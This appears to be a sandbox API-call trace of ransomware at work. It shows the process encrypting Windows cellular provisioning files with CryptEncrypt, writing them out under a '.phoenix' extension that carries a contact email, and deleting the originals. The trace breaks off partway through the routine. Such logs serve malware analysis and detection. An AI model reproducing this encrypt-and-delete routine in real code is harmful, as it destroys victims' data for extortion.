	[0250.211] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.212] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=653) returned 1
	[0250.212] CloseHandle (hObject=0x2d8) returned 1
	[0250.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0250.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.212] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.212] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.212] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.212] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.213] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0250.213] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.213] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x28d, lpOverlapped=0x0) returned 1
	[0250.504] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0250.504] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0250.505] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0250.505] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.506] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0250.506] CryptDestroyKey (hKey=0x151640) returned 1
	[0250.506] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0250.506] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0250.506] CloseHandle (hObject=0x2d8) returned 1
	[0250.506] CloseHandle (hObject=0x2b4) returned 1
	[0250.506] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml")) returned 1
	[0250.507] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0250.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.507] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=647) returned 1
	[0250.507] CloseHandle (hObject=0x2b4) returned 1
	[0250.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0250.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.508] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.508] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.509] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0250.509] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.509] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x287, lpOverlapped=0x0) returned 1
	[0250.588] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0250.588] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0250.588] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0250.588] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.588] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0250.589] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0250.589] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0250.589] CryptDestroyKey (hKey=0x151040) returned 1
	[0250.589] CloseHandle (hObject=0x2b4) returned 1
	[0250.589] CloseHandle (hObject=0x2d8) returned 1
	[0250.589] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml")) returned 1
	[0250.590] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0250.590] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.590] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=713) returned 1
	[0250.590] CloseHandle (hObject=0x2d8) returned 1
	[0250.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0250.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.590] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.591] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.591] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.591] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.591] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0250.591] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.591] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c9, lpOverlapped=0x0) returned 1
	[0251.172] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0251.172] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.173] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0251.173] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.173] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.173] CryptDestroyKey (hKey=0x151200) returned 1
	[0251.173] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.173] CryptDestroyKey (hKey=0x151100) returned 1
	[0251.173] CloseHandle (hObject=0x2d8) returned 1
	[0251.174] CloseHandle (hObject=0x2b4) returned 1
	[0251.174] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml")) returned 1
	[0251.175] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0251.175] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.175] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=721) returned 1
	[0251.175] CloseHandle (hObject=0x2b4) returned 1
	[0251.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0251.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.176] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.176] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.176] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.176] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0251.176] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0251.176] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.177] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d1, lpOverlapped=0x0) returned 1
	[0251.286] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0251.286] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0251.287] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0251.287] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.287] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.287] CryptDestroyKey (hKey=0x151680) returned 1
	[0251.287] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.287] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0251.287] CloseHandle (hObject=0x2b4) returned 1
	[0251.287] CloseHandle (hObject=0x2d8) returned 1
	[0251.287] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.288] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.288] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.289] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\438__connections_cellular_vibo telecom (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.289] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151080) returned 1
	[0251.289] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.289] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cb, lpOverlapped=0x0) returned 1
	[0251.295] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0251.295] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.296] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0251.296] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
